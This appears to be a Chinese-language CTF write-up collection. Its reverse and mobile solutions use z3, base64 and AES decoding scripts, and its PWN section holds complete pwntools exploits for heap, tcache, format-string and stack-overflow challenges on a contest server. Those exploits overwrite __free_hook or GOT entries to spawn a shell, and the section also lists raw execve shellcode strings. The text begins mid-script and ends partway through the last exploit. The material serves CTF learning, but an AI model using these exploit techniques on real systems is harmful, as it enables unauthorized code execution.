// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
btea(v, -n, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
for(int i=0;i<18;i++){
printf("%c",v[i]);
}
return 0;
}

Sad Code

就是喜欢做题,你喜欢做数学题吗?

ida x32 打开,定位到 _main_0F5 查看伪代码。

image-20220507141728609

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from z3 import *
#报错的装Z3-solver 不要用z3
v16=[Int("v16%s"%i) for i in range(8)]

s=Solver()

s.add(v16[2] + 7 * v16[1] - 4 * v16[0] - 2 * v16[3] == 0x1F675FCBE)
s.add(5 * v16[3] + 3 * v16[2] - v16[1] - 2 * v16[0] == 0x16ECB525D)
s.add(2 * v16[1] + 8 * v16[3] + 10 * v16[0] - 5 * v16[2] == 0x48AD213F9)
s.add(7 * v16[0] + 15 * v16[1] - 3 * v16[3] - 2 * v16[2] == 0x7AB246ADD)
s.add(15 * v16[4] + 35 * v16[7] - v16[5] - v16[6] == 0xEE83D143C)
s.add(38 * v16[6] + v16[4] + v16[7] - 24 * v16[5] == 0x24FA58FB1)
s.add(38 * v16[5] + 32 * v16[4] - v16[6] - v16[7] == 0x15503BC5DF)
s.add(v16[4] + 41 * v16[6] - v16[5] - 25 * v16[7] == 0x2922F20B4)

v4=[]
if(s.check()==sat):
m=s.model()
for i in range(8):
v4.append(hex(int(str(m[v16[i]])))[2:])
print(v4)

for i in range(8):
for j in range(4):
print(chr(int(v4[i][j*2:j*2+2],16)),end="")

Ruststr

图非图,字非字。

ida x64 打开,定位到 iscc_reverse::mainF5 查看伪代码,有个 qmecpy 函数。

image-20220507142403668

放入 base64hex 脚本并 两个 为一节作为 0xXX 格式和第二个脚本的上下数列格式相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64

a=r'5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw=='

b=[20,19,12,11, 4,3,21,18,13,10,5,2,22,17,14,9,6,1,23,16,15,8,7,0]

for i in b:
print(a[i],end="")

flag =""

def base64_to_hex(payLoad_base64):
bytes_out = base64.b64decode(payLoad_base64)
str_out = bytes_out.hex()
print("base64_ to_ hex:",str_out)
print(str_out)
c = []
for k in str_out:
c.append('0x' + str_out[0:2])
str_out = str_out[2:]
print(c)
return str_out

base64_to_hex(a)

然后将结果输入以下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
b = [
0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E,
0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73,
0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD,
0x0B, 0xE2
]
c = [0xe4, 0x3d, 0x80, 0x24, 0xc7, 0x0d, 0xa3, 0xba, 0x00, 0xc7, 0x05, 0x8c, 0x64, 0x97, 0x4e, 0x0a, 0x3e, 0x4b, 0x51, 0x07, 0x8f, 0x79, 0x60, 0x5b, 0x9b] # 这里填写是base64解码后的hex 来源是有个qmemcpy函数那里
m = []
for i in range(len(c)):
m.append(c[i]^b[i])
key = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63, 0x36, 0x33, 0x62,
0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65, 0x63, 0x30, 0x65, 0x36, 0x64,
0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64]
def lll(a,b):
if a>b:
return 0
else:
return -1
f = ''
for i in range(len(m)):
for j in range(128):
if (lll((key[i]+0xd0)&0xff,0xa) + j +2)&0xff == m[i]:
f += chr(j)
print(f)
break
p = list(f[::-1])
print()
def ppp(num):
a = num&1
return a==0
for i in range(len(p)):
if ord('a')<=ord(p[i])<=ord('z'):
p[i] = chr(ord(p[i])^0x20)
elif ord('A')<=ord(p[i])<=ord('Z'):
p[i] = chr(ord(p[i])^0x20)
elif ord('0') <=ord(p[i])<=ord('9'):
a = ord(p[i]) + 1
b = ord(p[i]) - 1
if ppp(ord(p[i])):
p[i] = chr(a)
else:
p[i] = chr(b)
else:
pass
for i in range(len(p)):
print(p[i],end='')

GetTheTable

采用正确的解密软件就能快速解密

ida x64打开,直接 F5 查看伪代码

image-20220510144031821

复制出来直接 base58 解密

image-20220510144156739

Bob’s Code

好简单的题目呀!

ida 32 打开,定位到 _main_0F5 查看伪代码

image-20220510143833993

说白了就是 换表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64
import string

s='W1BqthGbfhpZcbXjWbhLgG5FoZBBYGRVXhXtf1NRoY5ctGG1XXBMVXtwoF0'#去掉三个.
t = ''
for c in s:
if 'a' <= c <= 'z':
t += chr( ord('a') + ((ord(c)-ord('a')) - 2 )%26 )
elif 'A' <= c <= 'Z':
t += chr( ord('A') + ((ord(c)-ord('A')) - 2 )%26 )
else:
t += c
print(t)
t+='='

string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

a=(base64.b64decode(t.translate(str.maketrans(string1,string2))))
print(base64.b64decode(a))

Mobile

MobileA

一道简单的Mobile类型的题目,你能成功闯关吗?

首先用 jadx 打开 apk 文件,定位到 com > example.mobilea > MainActivity

image-20220507193601431

把第 72 行的字符串跑一下

1
2
3
4
a = r'=1PmCCY=gQbcBQlnngbhpEEA'
b = [20, 19, 12, 11, 4, 3, 21, 18, 13, 10, 5, 2, 22, 17, 14, 9, 6, 1, 23, 16, 15, 8, 7, 0]
for i in b:
print(a[i], end='')

然后得到的值 base64hex 一下,得到一段md5

image-20220507194026880

解密后得到 flag 的后半部分

image-20220507194057508

第一个箭头加密后是 key , 第二个箭头加密后是 iv ,前两个箭头指的地方,用 base64 加密,记得是“”里面的所有内容,然后第三个地方先 base64 解码一次

image-20220507194306741

1
2
3
4
5
6
from Crypto.Cipher import AES
from base64 import b64decode

cipher = AES.new(b'S0BlMjAyMiUleQ==', AES.MODE_CBC, b'SSZWMjAyMioqKg==')
flag = b64decode('OVV3V3pKSHFjdWlYTG83SWlrdytnb3lsYVpnQXVpb3I3ZVhERnd6NGdRST0=')
print(cipher.decrypt(b64decode(flag)))

得到的内容和前面 md5 解密的字符拼接一下即为 flag

MobileB

小明在学习过程中突然来了兴致,结合自己学习的知识编写了一个经过加密的app,你能从中找到密匙吗?

得到字符串,填入下面的exp中,

image-20220508164409145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import re
import sys
import math
from ast import Str

def sum(i, i2,i3):
for i4 in range(0,6):
d = i2
d2 = i
d3 = i4
if (d <= pow(2.0, d3) + d2):
if (d != pow(2.0, d3) + d2):
d4 = i4 - 1
return sum((int)(d2 + pow(2.0, d4)), i2, i3 + 1) + ((int)(d4 * pow(10.0, i3)))
elif i4 == 0:
return (int)(pow(10.0, i3) * 5.0)
else:
return (int)(d3 * pow(10.0, i3))
return -1;

def strRe(uStr):
sys.setrecursionlimit(2000000000)
strlist = []
for i1 in range(1, 27):
a = sum(0, i1, 0)
strlist.append(str(a))
ia = uStr
strlist1 = [x for x in ia.split('0') if x != '']
strResult = ''
for i in strlist1:
strResult += chr(strlist.index(i)+65)
return strResult

def soFlag(strResult):
sss='''1:<EWXYZQKLDMNPFGHASTUIJBOCRV<2:<OPQRBXFMNYZGHISCKTUVWAJDEL<3:<IJCDEFQKLUVWAXYZGHMOPBNRST<4:<NOPGZLMAQEFBCHIJKDRSTUVWXY<5:<FAEJKLMZBCQRSDTUNOPGHIVWXY<6:<YZPRBQKLGMNWXASTVHEFIJUOCD<7:<OPQUVRSJDEHWACKTZGMNYIBXFL<8:<VWNRDEFPQSTAXGHLUMOIJCKYZB<9:<EHIGZLMAQRJKDXYFBCNOPUVWST<10:<LMRSAZQEJVWKBCDTUFOPGHIXNY<11:<NWIUOCLGMVHXASTYZJDBQKPREF<12:<KTZUVEHIOPNCBWAYXFDRSJGMQL<
'''
m = strResult
content=re.findall(r'<(.*?)<',sss,re.S)
iv=[0x00000003,0x0000000c,0x00000006,0x00000008,0x00000007,0x00000002,0x00000004,0x0000000B,0x00000001,0x00000005,0x00000009,0x0000000A]
vvv=[]
ans=""
for i in range(12):
index=content[iv[i]-1].index(m[i])
vvv.append(index)
for i in range(0,24):
flag=""
for j in range(12):
flag+=content[iv[j]-1][(vvv[j]+i)%26]
if 'FLAG' in flag:
print(flag)

if __name__ == '__main__':
uStr = '5340512305240513012402051205053014053405120'
a = strRe(uStr)
b = soFlag(a)

然后使用压缩软件打开apk文件提取 lib\x86_64\libmobileb.so 文件

image-20220508165010016

使用 ida x64 搜索字符串(shift+f12)找到 十二个 地址相连的 等长字符串 填入上方·的位置。再把上一步得到的字符串填入。运行脚本找到开头为FLAG的字符串,flag就是ISCC(得到的字符串}

image-20220508165147452

MobileC

so 文件 getkey 函数断点调试,得到 aes_key,然后分析 so 文件里的 GetStr 的加密逻辑,爆破就行

image-20220524082928171

image-20220524083215017

八位 一组填到脚本里,爆破的结果 长度最短 的字符串即为flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
from Crypto.Cipher import AES
enc=[]
import copy
def dfs(s,p):
if p==6:
enc.append(s)
return
for i in range(p,6):
s[i],s[p]=s[p],s[i]
t=copy.deepcopy(s)
dfs(t,p+1)
s[i],s[p]=s[p],s[i]
def fun(s):
s=base64.b64decode(s)
iv = 'i@S&88CcC.'
iv = base64.b64encode(iv.encode())
key = b'QERAPG9dPyZfTC5f'
aes = AES.new(key, AES.MODE_CBC, iv)
print(aes.decrypt(s))
dfs([1,2,3,4,5,6],0)
s='xb6LCvY4 ONK/iar= F4YrvRZ= bWZl2Eu= Fs+fVSe= rtODpbc='.split(' ')
for k in enc:
m=[0]*48
for i in range(6):
for j in range(8):
m[6*j+k[i]-1]=s[i][j]
check=''.join(m)[-5:]
if check=='=====':
fun(''.join(m)[0:44])

PWN

heapheap

遇到不能控制 prev_size 的情况,可以通过 shrink unsorted bin 的方法来将 prev_size 填充成 目标size ,原理是 unsortedbin 合并是有顺序的,合并完会在下个 chunkprev_size 位写入之前的大小,从而在 prev_size 留下 size ,造成 chunk overlap。这道题我们还需要爆破 4bit 申请到 stdout 去泄露 libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

p = remote("123.57.69.203","5320")
elf = ELF("heapheap")
libc = ELF("./libc-2.27.so")
def dbg():
gdb.attach(p)
pause()

s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

hp = 0x2020C0

def add(size,con):
sla("Please input your choice: ",1)
sla("Please input the size:",size)
p.sendafter("Data:",con)

def dele(idx):
sla("Please input your choice: ",2)
sla("Please input the index:",idx)


for i in range(6):
add(0xf8,'a')

add(0xf0,'a')#6
add(0x80,'a')#7
add(0xf0,'a')#8
add(0xf0,'a')#9

for i in range(6):
dele(i)

dele(9)
dele(6)
dele(7)
dele(8)

for i in range(0,7):
add(0xf0,'a')

add(0xf0,'a')#9
add(0x80,'a')#8
add(0xf0,'a')#7

for i in range(0,6):
dele(i)

dele(8)
dele(6)
dele(9)
add(0x88,'a'*0x80+p64(0x190))
dele(7)
for i in range(0,7):
add(0xf0,'a')

dele(0)
add(0xf0,'a')
for i in range(0,7):
dele(i)
add(0x28,'\x60\xe7')
add(0x80,'a')
add(0x80,p64(0xfbad1887)+p64(0)+p64(0)+p64(0)+p8(0x58))
# 0x7ffff79e2000 0x7ffff7dca2a0
libc_base = uu64()-0x3E82A0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
one = libc_base+0x4f432
dele(0)
dele(1)
add(0x20,p64(free_hook))
add(0x20,'a')
add(0x20,p64(one))
dele(7)

p.interactive()

h-o-s

漏洞点如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx

setvbuf(stdout, 0LL, 2, 0LL);
memset(ptr, 0, sizeof(ptr));
cmd = buf;
while ( 1 )
{
fgets(cmd, 128, stdin);
if ( !strncmp(cmd, "fill", 4uLL) )
{
if ( n > 7 )
{
puts("full-|-enough");
}
else
{
__isoc99_scanf("%d%*c", &size);
v3 = n;
ptr[v3] = (char *)malloc(size); // malloc(-1)返回0,覆盖ptr为0
fgets(ptr[n], size, stdin);
++n;
}
}
else if ( !strncmp(cmd, "get", 3uLL) )
{
if ( n < 0 )
{
puts("empty-nn-empty");
}
else
{
puts(ptr[--n]); // 越界读-1
free(ptr[n]); // free当前堆块
ptr[n] = 0LL;
}
}
else
{
puts("I don't know---");
}
}
}

存在 ptr[-1] 越界,由此可以在 cmd 空间内构造 fakechunk ,而且要保证 putsfree 的参数是可以正常 free 掉的。且只能 free 当前 chunk

cmd 布置 fakechunkfreeunsortedbin 泄露 libc ,再次将 fakechunk 释放到 tcache ,制造 overlap ,然后将freehook 链入 tcache ,打 freehooksystem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# -*- coding: UTF-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]

io = remote('123.57.69.203',5820 )
# io = remote('127.0.0.1',49161 )
# libc = ELF('./libc-2.31.so')
# io = process('./hos')
libc = ELF('./libc.so.6')
elf = ELF('./hos')

l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))

def add(size,content):
sl('fill')
sl(str(size))
sl(content)
def delete():
sl('get')

buf = 0x6010a0
cmd = 0x601160

add(0x41,'a')#n =0
# add(0x31,'a')#n=0
pay = 'get'.ljust(0x8,'\x00') + p64(0x61)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81) + p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x70)
sl(pay)
sl('get')#n=-1
add(0x81,'a')#n=0
add(0x81,'a')#n=1
add(0x81,'a')#n=2
add(0x81,'a')#n=3
add(0x81,'a')#n=4
add(0x81,'a')#n=5
add(0x81,'a')#n=6
add(0x81,'a')#n=7
delete()
delete()
delete()
delete()
delete()
delete()
pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x10)
sl(pay)
add(0x51,p64(buf+0x10) + p64(buf+0x70) + p64(buf+0x10)*2+p64(0x91)+p64(0x31))#n=1
delete()#n=0
sl('get')#n=-1
add(0x51,p64(buf+0x70) + p64(buf+0x10) + p64(buf+0x70)*2+p64(0x91)+p64(0x31))#n=0
sl('get')#n=-1
libcbase = l64() -0x3ebca0
lg('libcbase')
freehook = libcbase + libc.symbols['__free_hook']
lg('freehook')
system = libcbase + libc.symbols['system']
lg('system')
add(0x81,'a')#n=0

pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = -1

pay = 'fill'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(freehook) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = 0

add(0x81,p64(system))
add(0x41,'/bin/sh\x00')
delete()
# dbg()

irt()

create_id

ida x32 打开,定位到 main 函数

简单的格式化字符串漏洞改写全局变量x,从而执行后门函数。

image-20220525112208330

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// 在调用时检测到错误的sp值,输出可能是错误的!


// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // esi
int v6; // [esp+0h] [ebp-90h] BYREF
int i; // [esp+4h] [ebp-8Ch]
int v8; // [esp+8h] [ebp-88h]
int v9; // [esp+Ch] [ebp-84h]
char format[100]; // [esp+10h] [ebp-80h] BYREF
unsigned int v11; // [esp+74h] [ebp-1Ch]
int *v12; // [esp+80h] [ebp-10h]

v12 = &argc;
v11 = __readgsdword(0x14u);
init();
printf("%p\n", &x);
puts("Guess a integer between 1~20^v^");
puts("You will get the user id after you finish it.");
for ( i = 0; i <= 2; ++i )
{
v3 = time(0);
srand(v3);
v4 = rand() % 10;
v8 = v4 + rand() % 11 + 1;
__isoc99_scanf("%d", &v6);
if ( v8 == v6 )
{
printf("Good!");
putchar(10);
break;
}
puts("incorrect");
}
puts("\nWhat's your name?");
__isoc99_scanf("%s", format);
v9 = rand() % 100 + 10;
puts(byte_804A0A3);
printf("your name is:");
printf(format);
if ( x == 9 )
flag(v12);
else
putchar(10);
printf("your user id is: %d\n", v9);
return 0;

代码这里引用了 flag 文件,很简单的一个输出和 cat flag

image-20220525112330687

_isoc99_scanf 这个地方需要格外注意,在 pust提示我们需要输入name的时候,我们将内容输出出去。_isoc99_scanf 这里传入参数 a1a2 都是 int 型,返回也是 int 型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.terminal = ['tmux','splitw','-h']
p=remote('123.57.69.203',5310)
# p=process('./attachment-31')
x=int(p.recv(10)[2:],16)
print(hex(x))
p.recvuntil('You will get the user id after you finish it.\n')
p.sendline('9')
p.recvuntil('incorrect\n')
p.sendline('9')
p.recvuntil('incorrect\n')
p.sendline('9')
# gdb.attach(proc.pidof(p)[0])
p.recvuntil("What's your name?\n")

payload=fmtstr_payload(10, {x:0x9})#11
p.sendline(payload)
p.interactive()

跳一跳

亲爱的CTFers,题目做累了,让我们离开电脑,一起跳一跳~

保护全开的栈溢出,但是只能溢出 0x18 个字节。
正常情况是要栈迁移的,但是这题能获取靶机使用的 libc 版本,并且能够利用 one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import os
from pwn import *
from LibcSearcher import *
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

elf = ELF('./attachment-10')
# context(arch = elf.arch, os = 'linux',log_level = 'debug')
p = remote('123.57.69.203',7020)
payload=flat(['8 '*217,'A'])
se(payload)
ru('\x08'*217)
canary = uu64(rc(7))<<8
stack = uu64(ru('\x7f',drop=False))
info_addr('canary',canary)
info_addr('stack',stack)
payload1 = b'A'*0xD8 + p64(canary)
payload1 += p64(stack) + b'\xA0\x50'
sleep(0.3)
# gdb.attach(p,'b read')
se(payload1)
payload2=flat(['9 '*0xa8,'A'])
sleep(0.3)
se(payload2)
ru('\x09'*0xa8)
libc_leak = uu64(rc(6))
libc_base = libc_leak - 0x81150 - 231
one_gadget = libc_base + 0x4f2c5
info_addr('libc_leak',libc_leak)
info_addr('libc_base',libc_base)
payload = b'A'*0xD8 + p64(canary)
payload += p64(stack) + p64(one_gadget)
sleep(0.3)
se(payload)
p.interactive()

untidy_note

这个笔记本不太好使

增删查改四个功能都有。但是增加的堆块大小受到限制,不能超过 31 字节。

漏洞点存在于 deleteedit 功能的函数,存在 UAF 漏洞和 堆溢出 漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from this import d
from pwn import *
from LibcSearcher import *
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))

elf = ELF('./untidy_note')
# context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','60'])
# p = process('./untidy_note')
# debug()
p = remote('123.57.69.203',7030)
def menu(choice):
sla('Your choose is:',str(choice))
def add(size):
menu(1)
sla('the note size is:',str(size))
def dele(id):
menu(2)
sla('index:',str(id))
def edit(id,size,data):
menu(3)
sla('index:',str(id))
sla('the size is:',str(size))
sea('Content:',data)
def show(id):
menu(4)
sla('index:',str(id))
sla('Welcome to use untidy_note,Your name is:','Coldwinds')
for _ in range(30):
add(0x10)
dele(2)
dele(1)
show(1)
ru('Content:')
heap_addr = uu64(rc(6)) - 0x290
info_addr('Heap',heap_addr)
edit(1,0x10,p64(heap_addr+0x10))
add(0x10)# 28
add(0x10)# 29
edit(29,0x10,p64(0x23333))
edit(2,0x20,p64(0)*3+p32(0x121))
dele(3)
show(3)
ru('Content:')
libc_base = uu64(rc(6)) - 0x3ebca0
info_addr('libc',libc_base)
libc = ELF('./libc-2.27.so')
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
dele(4)
dele(5)
edit(5,0x10,p64(__free_hook))
add(0x10)# 27
add(0x10)# 28
edit(28,0x10,p64(system_addr))
edit(11,0x10,'/bin/sh\0')
dele(11)
p.interactive()

sim_treasure

格式化字符串漏洞挟持,通过 printf 幻术的 got 表,改换 system ,将下一次程序调用printf 的时候传入 ’/bin/sh’ 即可 GetShell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level='debug'
io=remote("123.57.69.203",7010)
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
io.recvuntil("Can you find the magic word?\n")
pay = p32(elf.got["puts"])+b"%6$s"
io.sendline(pay)
io.recv(4)
puts_addr = u32(io.recv(4))

printf_got = elf.got['printf']
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
io.sendline("A")

payload1 = fmtstr_payload(6, {printf_got: system_addr})
io.recvuntil("A\n")
io.sendline(payload1)
io.sendline("/bin/sh")
io.interactive();

主函数里面给了个后门

1
2
3
4
void __cdecl sh(char *c)
{
system(c);
}

这题就是一个很简单的 堆溢出漏洞 结合 tcache attack ,将包含 cmdfake_chunk 链入 tcache bins ,从而将 cmd 这个指针改为指向 free@got ,进而而改写 got 表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# coding=utf-8
# *- coding:utf-8 -*-
# from pwn_debug import *
from struct import pack
from pwn import *
import sys;import time;import os
# from LibcSearcher import *
# 设置timeout;sh.timeout = 0.1
context(os="linux", arch="amd64", log_level="debug")
# context(os="linux",arch="i386",log_level="debug")
# context.terminal = ["tmux", "splitw", "-h"] ; context.arch = "amd64" ;
context.log_level="debug" # 暂无这个
# tmux 换到4.7以上再说
filename = "attachment-38"
libcpath = ""
sh = 0
lib = 0
elf = ELF(filename) # local长
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #
# remote_buu_libc = ELF("/home/rencvn/Desktop/install/libc-2.27.so",checksec =False)
# libc = ELF("/home/rencvn/Desktop/BUU/Glibc/Ubuntu18_GLIBC_2.27-3ubuntu1/64/libc-2.27.so")
u16_local_one = [0x45216,0x4526a,0xf02a4,0xf1147] # one_gadget (-l2)/lib/x86_64-linux-gnu/libc.so.6 giantbranch 2.23-0ubuntu10
u18_local_one = [0x4f2a5,0x4f302,0x10a2fc] # one_gadget (-l2) /lib/x86_64-linuxgnu/libc.so.6 Rencvn 2.27-3ubuntu1.5
u20_local_one = [0xe3b2e,0xe3b31,0xe3b34] # one_gadget (-l2) /lib/x86_64-linuxgnu/libc.so.6 Ln-Pwn 2.31-0ubuntu9.7
""" """
l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\x7f")[-4:].ljust(4,"\x00"))
#bytes ==> int
#常用于调用了ROP输出类函数后,接受并转化为int类型
# uxx( ru("\x7f")[-6:].ljust(8,"\x00") )
leak= lambda name,data :sh.success(name + ": 0x%x" % data)
s = lambda payload :sh.send( payload)
sa = lambda a,b :sh.sendafter(str(a),str(b))
sl = lambda payload :sh.sendline(payload )
sla = lambda a,b :sh.sendlineafter(str (a),str(b))
ru = lambda a :sh.recvuntil(str(a))
r = lambda numb=4096 :sh.recv(numb)
# https://www.yuque.com/squirre17/qqf7/wbeago #5b71964e
rl = lambda :sh.recvline()
uu32= lambda data :u32(data.ljust(4, b'\x00'))
uu64= lambda data :u64(data.ljust(8, b'\x00'))
# https://blog.cc arol2358/article/details/106262701
info_addr = lambda tag, addr :sh.info(tag + ': {:#x}'. format(addr))
check = lambda data :"data=",data,"|*|","type=>",type(data)
# 这里使用print会报错
# 交互时
# py2 <==> str = bytes
#addr=int(sh.recvuntil('\n',drop=True),base=16)
def add(index,size,data):
success("########->add<-########")
sl("add") # fgets
sla("Index: ",str(index))
sla("Size: ",str(size)) # scanf
sa("Data: ",data+"\n") # gets
def delete(index):
success("########->delete<-########")
sl("remove") # fgets
sla("Index: ",str(index)) # scanf
sys = 0x400896
#sh = process("./unlink")
sh = remote("123.57.69.203",5810)
#gdb.attach(sh,"b *0x400A78")
# malloc #
#gdb.attach(sh,"b *0x4009BD\n"+"b *0x400A8A\n"+"c\n"*(24) )
add(0,0x410,"aaaa")#fake_chunk)#0
add(1,0xe8,"bbbb")#1
add(2,0x4f0,"cccc")#2
add(3,0x60,"/bin/sh\x00dddd")#3
add(4,0x60,"/bin/sh\x00eeee")#4
delete(0)
#pause()
delete(1)
for i in range(6):
add(1,0xe8-i,"b"*(0xe8-i))
delete(1)
add(1,0xe8,"b"*0xe0+p64(0x510).decode('unicode_escape'))#1
